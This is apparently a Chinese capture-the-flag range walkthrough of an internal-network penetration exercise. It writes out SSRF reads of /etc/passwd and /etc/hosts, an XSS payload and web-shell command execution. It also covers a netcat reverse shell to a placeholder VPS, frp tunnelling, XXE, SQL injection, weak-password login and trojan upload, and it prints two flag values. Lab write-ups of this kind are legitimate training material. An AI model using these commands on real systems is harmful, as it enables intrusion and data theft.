靶场
测试
file:///etc/passwd
获取网站的内网地址
file:///etc/hosts
获取flag
file:///flag
XSS
<script>alert(123)</script>
2、使用BP进行抓包爆破,功能类似于扫描内网了,获取了同网段的几个存活网站。
修改url=file%3A%2F%2F%2Fetc%2Fhosts为url=192.168.0.1
send to intruder修改“1”为变量
192.168.0.10的网站显示被黑了
测试是shell.php文件
http://192.168.0.10/shell.php
可以使用cmd执行命令http://192.168.0.10/shell.php?cmd=ls,找到flag
查看flag,http://192.168.0.10/shell.php?cmd=cat flag
3、查看网站目录http://192.168.0.10/shell.php?cmd=ls / 又看到一个flag
查看看个flag,http://192.168.0.10/shell.php?cmd=cat /flag
4、通过http://192.168.0.10/shell.php?cmd=nc xx.xx.xx.xx PORT -e /bin/sh反弹shell
之后,上传fscan对内网进行扫描,由于权限问题,在使用fscan的时候要加上np参数。
使用ssrf还是有些不方面,使用frp做个内网的穿透,记住网站服务器是frpc端,自己的VPS是frps端
这样挂上frp的socks代理就可以本机访问内网了,
结合fscan的结果对内网进行继续渗透,
http://192.168.0.250这个网站,用burp查看数据包的时候,顺便扫描了一下,结果发现存在xxe。
对网站的两个位置进行获取,获取了两个flag
flag{e69bffb4798654f32af867a884d90f9c}
flag{53a45639120b277af78afd63ff157d07}
对192.168.0.138网站进行渗透,发现是一个存在联合注入的网站,直接通过查询得到flag。
对192.168.0.0网段进行探测,没有新的发现了,试试了10段,发现了新的网站
通过弱口令可以登录后台
在文件管理这个地方,可以直接上传木马,这里直接上传了一个小马
获取相关flag